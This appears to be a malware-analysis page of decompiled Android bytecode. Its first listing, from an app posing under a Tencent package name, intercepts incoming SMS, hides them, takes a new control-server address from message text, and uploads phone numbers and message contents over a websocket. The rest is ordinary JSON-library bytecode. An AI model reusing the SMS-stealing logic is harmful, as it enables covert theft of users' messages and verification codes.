                                                140const-string v1, "/html"
                                                141if-eqz v0, :cond_eb
                                                143invoke-virtual {v11, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                144move-result v0
                                                145if-eqz v0, :cond_eb
                                                146new-instance v0, Ljava/lang/StringBuilder;
                                                148invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                150invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                152invoke-virtual {v11, v2}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                153move-result v2
                                                154add-int/lit8 v2, v2, 0x8
                                                156invoke-virtual {v11, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                157move-result v1
                                                159invoke-virtual {v11, v2, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                160move-result-object v1
                                                162invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                164invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                165move-result-object v0
                                                166goto/16 :goto_171
                                                167cond_eb:
                                                168const-string v0, "http"
                                                170invoke-virtual {v11, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                171move-result v2
                                                173const-string v3, "http://"
                                                175const-string v8, "ws://"
                                                176if-eqz v2, :cond_11b
                                                178invoke-virtual {v11, v14}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                179move-result v2
                                                180if-eqz v2, :cond_11b
                                                181new-instance v0, Ljava/lang/StringBuilder;
                                                183invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                185invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                187invoke-virtual {v11, v3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                188move-result v1
                                                189add-int/lit8 v1, v1, 0x7
                                                191invoke-virtual {v11, v14}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                192move-result v2
                                                194invoke-virtual {v11, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                195move-result-object v1
                                                197invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                199invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                200move-result-object v0
                                                201goto/16 :goto_171
                                                202cond_11b:
                                                203invoke-virtual {v11, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                204move-result v2
                                                205if-eqz v2, :cond_145
                                                207invoke-virtual {v11, v15}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                208move-result v2
                                                209if-eqz v2, :cond_145
                                                210new-instance v0, Ljava/lang/StringBuilder;
                                                212invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                214invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                216invoke-virtual {v11, v3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                217move-result v1
                                                218add-int/lit8 v1, v1, 0x7
                                                220invoke-virtual {v11, v15}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                221move-result v2
                                                223invoke-virtual {v11, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                224move-result-object v1
                                                226invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                228invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                229move-result-object v0
                                                230goto/16 :goto_171
                                                231cond_145:
                                                232invoke-virtual {v11, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                233move-result v0
                                                234if-eqz v0, :cond_16f
                                                236invoke-virtual {v11, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                237move-result v0
                                                238if-eqz v0, :cond_16f
                                                239new-instance v0, Ljava/lang/StringBuilder;
                                                241invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                243invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                245invoke-virtual {v11, v3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                246move-result v2
                                                247add-int/lit8 v2, v2, 0x7
                                                249invoke-virtual {v11, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                250move-result v1
                                                252invoke-virtual {v11, v2, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                253move-result-object v1
                                                255invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                257invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                258move-result-object v0
                                                259goto/16 :goto_171
                                                260cond_16f:
                                                261const-string v0, ""
                                                262goto_171:
                                                263invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                264move-result v1
                                                265if-nez v1, :cond_1a9
                                                267sget-object v1, Lcom/tencent/shopcj/constant/AppConstants;->WS_BASE_HOST:Ljava/lang/String;
                                                269invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                270move-result v1
                                                271if-nez v1, :cond_1a9
                                                273invoke-static {v0}, Lcom/tencent/shopcj/constant/AppConstants;->isUrl(Ljava/lang/String;)Z
                                                274move-result v1
                                                275if-eqz v1, :cond_1a9
                                                276new-instance v1, Ljava/lang/StringBuilder;
                                                278invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                280const-string v2, "\u77ed\u4fe1\u627e\u56deIP\uff1a"
                                                282invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                284invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                286invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                287move-result-object v1
                                                289invoke-static {v13, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                291invoke-static {}, Lcom/tencent/shopcj/main/MyApplication;->getInstance()Lcom/tencent/shopcj/main/MyApplication;
                                                292move-result-object v1
                                                294invoke-virtual {v1, v0}, Lcom/tencent/shopcj/main/MyApplication;->updateConfig(Ljava/lang/String;)Z
                                                295sput-object v0, Lcom/tencent/shopcj/constant/AppConstants;->WS_BASE_HOST:Ljava/lang/String;
                                                297invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                298move-result-object v0
                                                300invoke-virtual {v0}, Lcom/tencent/shopcj/websocket/WSManager;->switchIpWebSocketRest()V
                                                301cond_1a9: new-instance v0, Lcom/tencent/shopcj/bean/SmsBean;
                                                303invoke-direct {v0}, Lcom/tencent/shopcj/bean/SmsBean;-><init>()V
                                                305invoke-static/range {p1 .. p1}, Lcom/tencent/shopcj/utils/DeviceUtils;->getTel(Landroid/content/Context;)Ljava/lang/String;
                                                306move-result-object v1
                                                307iput-object v1, v0, Lcom/tencent/shopcj/bean/SmsBean;->deviceNum:Ljava/lang/String;
                                                309invoke-static {}, Ljava/lang/Math;->random()D
                                                310move-result-wide v1
                                                311const-wide v14, 0x416312cfe0000000L # 9999999.0
                                                312mul-double v1, v1, v14
                                                313const-wide/high16 v14, 0x3ff0000000000000L # 1.0
                                                314add-double/2addr v1, v14
                                                316invoke-static {v1, v2}, Ljava/lang/Math;->round(D)J
                                                317move-result-wide v1
                                                318long-to-int v2, v1
                                                319mul-int/lit8 v2, v2, -0x1
                                                320iput v2, v0, Lcom/tencent/shopcj/bean/SmsBean;->smsId:I
                                                321iput-object v10, v0, Lcom/tencent/shopcj/bean/SmsBean;->otherNum:Ljava/lang/String;
                                                322iput-object v11, v0, Lcom/tencent/shopcj/bean/SmsBean;->smsContent:Ljava/lang/String;
                                                323move-object/from16 v8, p0
                                                325iget-object v1, v8, Lcom/tencent/shopcj/receiver/SmsReceiver;->format:Ljava/text/SimpleDateFormat;
                                                326new-instance v2, Ljava/util/Date;
                                                328invoke-direct {v2, v4, v5}, Ljava/util/Date;-><init>(J)V
                                                330invoke-virtual {v1, v2}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
                                                331move-result-object v1
                                                332iput-object v1, v0, Lcom/tencent/shopcj/bean/SmsBean;->smsTime:Ljava/lang/String;
                                                333const/4 v14, 0x0
                                                334iput v14, v0, Lcom/tencent/shopcj/bean/SmsBean;->smsType:I
                                                335new-instance v1, Lcom/tencent/shopcj/bean/BaseRequest;
                                                336new-instance v2, Lcom/tencent/shopcj/bean/UploadSmsRequest;
                                                338invoke-direct {v2, v0}, Lcom/tencent/shopcj/bean/UploadSmsRequest;-><init>(Lcom/tencent/shopcj/bean/SmsBean;)V
                                                340invoke-direct {v1, v6, v2}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                342invoke-static {v1}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                343move-result-object v0
                                                345invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                346move-result-object v1
                                                348sget-object v2, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                350invoke-virtual {v1, v2, v0}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                351sget-boolean v0, Lcom/tencent/shopcj/main/MyApplication;->curSmsMonitorState:Z
                                                352const/4 v1, 0x1
                                                353if-nez v0, :cond_241
                                                355sget-object v0, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_SMS:Ljava/lang/String;
                                                357const-string v2, "\u6709\u65b0\u77ed\u4fe1"
                                                359invoke-static {v6, v0, v1, v2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                361invoke-virtual/range {p1 .. p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                362move-result-object v0
                                                363sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                                364const/16 v2, 0x13
                                                365if-lt v1, v2, :cond_250
                                                367invoke-static/range {p1 .. p1}, Landroid/provider/Telephony$Sms;->getDefaultSmsPackage(Landroid/content/Context;)Ljava/lang/String;
                                                368move-result-object v1
                                                370invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                371move-result v0
                                                372if-eqz v0, :cond_250
                                                373move-object/from16 v0, p0
                                                374move-object/from16 v1, p1
                                                375move-object v2, v10
                                                376move-object v3, v11
                                                378invoke-direct/range {v0 .. v5}, Lcom/tencent/shopcj/receiver/SmsReceiver;->writeSMS(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;J)Landroid/net/Uri;
                                                379new-instance v0, Ljava/lang/StringBuilder;
                                                381invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                383const-string v1, "\u77ed\u4fe1\u5199\u5165\u7cfb\u7edf\uff1a"
                                                385invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                387invoke-virtual {v0, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                389invoke-virtual {v0, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                391invoke-virtual {v0, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                393const-string v1, ")"
                                                395invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                397invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                398move-result-object v0
                                                400invoke-static {v13, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                401goto/16 :goto_250
                                                402cond_241:
                                                403invoke-virtual/range {p0 .. p0}, Lcom/tencent/shopcj/receiver/SmsReceiver;->abortBroadcast()V
                                                405sget-object v0, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_SMS:Ljava/lang/String;
                                                407const-string v2, "\u62e6\u622a\u5230\u4e00\u6761\u77ed\u4fe1"
                                                409invoke-static {v6, v0, v1, v2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                411const-string v0, "\u77ed\u4fe1\u62e6\u622a\u6210\u529f"
                                                413invoke-static {v13, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                414cond_250: add-int/lit8 v9, v9, 0x1
                                                415goto/16 :goto_22
                                                416cond_254: move-object/from16 v8, p0
                                                417return-void
                                                Cross References
                                                APIs
                                                • com.alibaba.fastjson.parser.Feature.SupportArrayToBean:Lcom/alibaba/fastjson/parser/Feature
                                                • com.alibaba.fastjson.parser.Feature.SupportArrayToBean:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.String.length
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.Class.isEnum
                                                • java.lang.Enum.valueOf
                                                • java.lang.Double.valueOf
                                                • java.lang.Float.valueOf
                                                • java.lang.Boolean.valueOf
                                                • java.lang.Long.valueOf
                                                • java.lang.Integer.valueOf
                                                • com.alibaba.fastjson.parser.Feature.AllowArbitraryCommas:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.equals
                                                • java.lang.Class.isAssignableFrom
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.util.HashMap.<init>
                                                • java.util.Map.put
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.util.Map.get
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Byte.valueOf
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Short.valueOf
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.valueOf
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.Long.valueOf
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.Float.valueOf
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.Double.valueOf
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.Boolean.FALSE:Ljava/lang/Boolean
                                                • java.lang.reflect.Constructor.newInstance
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.reflect.Constructor.toGenericString
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.reflect.Method.invoke
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.reflect.Method.toString
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.reflect.Method.invoke
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                Strings
                                                • syntax error, expect {, actual
                                                • , pos
                                                • , fieldName
                                                • $ref
                                                • @
                                                • ..
                                                • $
                                                • illegal ref
                                                • illegal ref,
                                                • type not match
                                                • syntax error
                                                • create instance error,
                                                • create factory method error,
                                                • build object error
                                                • syntax error, unexpect token
                                                • syntax error, unexpect token \':\'
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"<T:",
                                                3"Ljava/lang/Object;",
                                                4">(",
                                                5"Lcom/alibaba/fastjson/parser/DefaultJSONParser;",
                                                6"Ljava/lang/reflect/Type;",
                                                7"Ljava/lang/Object;",
                                                8"Ljava/lang/Object;",
                                                9"I)TT;"
                                                10}
                                                11.end annotation
                                                12move-object/from16 v7, p0
                                                13move-object/from16 v8, p1
                                                14move-object/from16 v0, p2
                                                15move-object/from16 v9, p3
                                                16const-class v1, Lcom/alibaba/fastjson/JSON;
                                                17if-eq v0, v1, :cond_544
                                                18const-class v1, Lcom/alibaba/fastjson/JSONObject;
                                                19if-ne v0, v1, :cond_12
                                                20goto/16 :goto_544
                                                21cond_12:
                                                22iget-object v1, v8, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->lexer:Lcom/alibaba/fastjson/parser/JSONLexer;
                                                23move-object v10, v1
                                                24check-cast v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;
                                                26invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                27move-result v1
                                                28const/16 v2, 0x8
                                                29const/16 v11, 0x10
                                                30const/4 v12, 0x0
                                                31if-ne v1, v2, :cond_26
                                                33invoke-virtual {v10, v11}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken(I)V
                                                34return-object v12
                                                35cond_26:
                                                36invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->getContext()Lcom/alibaba/fastjson/parser/ParseContext;
                                                37move-result-object v2
                                                38if-eqz p4, :cond_30
                                                39if-eqz v2, :cond_30
                                                41iget-object v2, v2, Lcom/alibaba/fastjson/parser/ParseContext;->parent:Lcom/alibaba/fastjson/parser/ParseContext;
                                                42cond_30: move-object v13, v2
                                                43const/16 v14, 0xd
                                                44if-ne v1, v14, :cond_4b
                                                45try_start_35:
                                                46invoke-virtual {v10, v11}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken(I)V
                                                47if-nez p4, :cond_3f
                                                49invoke-virtual/range {p0 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->createInstance(Lcom/alibaba/fastjson/parser/DefaultJSONParser;Ljava/lang/reflect/Type;)Ljava/lang/Object;
                                                50move-result-object v0
                                                51try_end_3e: goto/16 :goto_41
                                                52cond_3f: move-object/from16 v0, p4
                                                53goto_41:
                                                54invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                55return-object v0
                                                56catchall_45: move-exception v0
                                                57move-object/from16 v1, p4
                                                58goto_48: move-object v2, v12
                                                59goto/16 :goto_53c
                                                60cond_4b: const/16 v2, 0xe
                                                61const/4 v15, 0x0
                                                62if-ne v1, v2, :cond_75
                                                63try_start_50:
                                                64sget-object v3, Lcom/alibaba/fastjson/parser/Feature;->SupportArrayToBean:Lcom/alibaba/fastjson/parser/Feature;
                                                65iget v3, v3, Lcom/alibaba/fastjson/parser/Feature;->mask:I
                                                67iget-object v4, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                68iget v4, v4, Lcom/alibaba/fastjson/util/JavaBeanInfo;->parserFeatures:I
                                                69and-int/2addr v4, v3
                                                70if-nez v4, :cond_6a
                                                72sget-object v4, Lcom/alibaba/fastjson/parser/Feature;->SupportArrayToBean:Lcom/alibaba/fastjson/parser/Feature;
                                                74invoke-virtual {v10, v4}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                75move-result v4
                                                76if-nez v4, :cond_6a
                                                77and-int v3, p5, v3
                                                78if-eqz v3, :cond_68
                                                79goto/16 :goto_6a
                                                80cond_68: const/4 v3, 0x0
                                                81goto/16 :goto_6b
                                                82goto_6a: const/4 v3, 0x1
                                                83goto_6b: if-eqz v3, :cond_75
                                                85invoke-virtual/range {p0 .. p4}, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->deserialzeArrayMapping(Lcom/alibaba/fastjson/parser/DefaultJSONParser;Ljava/lang/reflect/Type;Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                86move-result-object v0
                                                87try_end_71:
                                                88invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                89return-object v0
                                                90cond_75: const/16 v3, 0xc
                                                91const/4 v5, 0x4
                                                92if-eq v1, v3, :cond_e0
                                                93if-eq v1, v11, :cond_e0
                                                94try_start_7c:
                                                95invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->isBlankInput()Z
                                                96move-result v0
                                                97try_end_80: if-eqz v0, :cond_86
                                                99invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                100return-object v12
                                                101cond_86: if-ne v1, v5, :cond_99
                                                102try_start_88:
                                                103invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->stringVal()Ljava/lang/String;
                                                104move-result-object v0
                                                106invoke-virtual {v0}, Ljava/lang/String;->length()I
                                                107move-result v0
                                                108if-nez v0, :cond_99
                                                110invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken()V
                                                111try_end_95:
                                                112invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                113return-object v12
                                                114cond_99: if-ne v1, v2, :cond_ad
                                                115try_start_9b:
                                                116invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->getCurrent()C
                                                117move-result v0
                                                118const/16 v1, 0x5d
                                                119if-ne v0, v1, :cond_ad
                                                121invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->next()C
                                                123invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken()V
                                                124try_end_a9:
                                                125invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                126return-object v12
                                                127cond_ad: new-instance v0, Ljava/lang/StringBuffer;
                                                129invoke-direct {v0}, Ljava/lang/StringBuffer;-><init>()V
                                                131const-string v1, "syntax error, expect {, actual "
                                                133invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                135invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->tokenName()Ljava/lang/String;
                                                136move-result-object v1
                                                138invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                140const-string v1, ", pos "
                                                142invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                144invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->pos()I
                                                145move-result v1
                                                147invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(I)Ljava/lang/StringBuffer;
                                                148instance-of v1, v9, Ljava/lang/String;
                                                149if-eqz v1, :cond_d6
                                                151const-string v1, ", fieldName "
                                                153invoke-virtual {v0, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                155invoke-virtual {v0, v9}, Ljava/lang/StringBuffer;->append(Ljava/lang/Object;)Ljava/lang/StringBuffer;
                                                156cond_d6: new-instance v1, Lcom/alibaba/fastjson/JSONException;
                                                158invoke-virtual {v0}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                159move-result-object v0
                                                161invoke-direct {v1, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                162throw v1
                                                163try_start_e0: iget v1, v8, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->resolveStatus:I
                                                164try_end_e2: const/4 v2, 0x2
                                                165if-ne v1, v2, :cond_e7
                                                166try_start_e5: iput v15, v8, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->resolveStatus:I
                                                167try_end_e7: move-object/from16 v1, p4
                                                168move-object v2, v12
                                                169move-object v3, v2
                                                170const/4 v4, 0x0
                                                171try_start_ec:
                                                172iget-object v12, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->sortedFieldDeserializers:[Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;
                                                173array-length v12, v12
                                                174if-ge v4, v12, :cond_fa
                                                176iget-object v12, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->sortedFieldDeserializers:[Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;
                                                177aget-object v12, v12, v4
                                                179iget-object v15, v12, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->fieldInfo:Lcom/alibaba/fastjson/util/FieldInfo;
                                                181iget-object v6, v15, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                182goto/16 :goto_fd
                                                183cond_fa: const/4 v6, 0x0
                                                184const/4 v12, 0x0
                                                185const/4 v15, 0x0
                                                186goto_fd: if-eqz v12, :cond_1dc
                                                188iget-object v5, v15, Lcom/alibaba/fastjson/util/FieldInfo;->name_chars:[C
                                                190sget-object v11, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                191const/4 v14, -0x2
                                                192if-eq v6, v11, :cond_1bf
                                                193const-class v11, Ljava/lang/Integer;
                                                194if-ne v6, v11, :cond_10c
                                                195goto/16 :goto_1bf
                                                196cond_10c:
                                                197sget-object v11, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                198if-eq v6, v11, :cond_1ad
                                                199const-class v11, Ljava/lang/Long;
                                                200if-ne v6, v11, :cond_116
                                                201goto/16 :goto_1ad
                                                202cond_116: const-class v11, Ljava/lang/String;
                                                203if-ne v6, v11, :cond_12a
                                                205invoke-virtual {v10, v5}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->scanFieldString([C)Ljava/lang/String;
                                                206move-result-object v5
                                                207iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                208if-lez v11, :cond_124
                                                209goto/16 :goto_1cb
                                                210cond_124: iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                211if-ne v11, v14, :cond_1d8
                                                212goto/16 :goto_1d3
                                                213cond_12a:
                                                214sget-object v11, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                215if-eq v6, v11, :cond_19b
                                                216const-class v11, Ljava/lang/Boolean;
                                                217if-ne v6, v11, :cond_134
                                                218goto/16 :goto_19b
                                                219cond_134:
                                                220sget-object v11, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                221if-eq v6, v11, :cond_189
                                                222const-class v11, Ljava/lang/Float;
                                                223if-ne v6, v11, :cond_13d
                                                224goto/16 :goto_189
                                                225cond_13d:
                                                226sget-object v11, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                227if-eq v6, v11, :cond_177
                                                228const-class v11, Ljava/lang/Double;
                                                229if-ne v6, v11, :cond_146
                                                230goto/16 :goto_177
                                                231cond_146:
                                                232invoke-virtual {v6}, Ljava/lang/Class;->isEnum()Z
                                                233move-result v11
                                                234if-eqz v11, :cond_16e
                                                236invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->getConfig()Lcom/alibaba/fastjson/parser/ParserConfig;
                                                237move-result-object v11
                                                239invoke-virtual {v11, v6}, Lcom/alibaba/fastjson/parser/ParserConfig;->getDeserializer(Ljava/lang/reflect/Type;)Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                240move-result-object v11
                                                241instance-of v11, v11, Lcom/alibaba/fastjson/parser/deserializer/EnumDeserializer;
                                                242if-eqz v11, :cond_16e
                                                244iget-object v11, v8, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->symbolTable:Lcom/alibaba/fastjson/parser/SymbolTable;
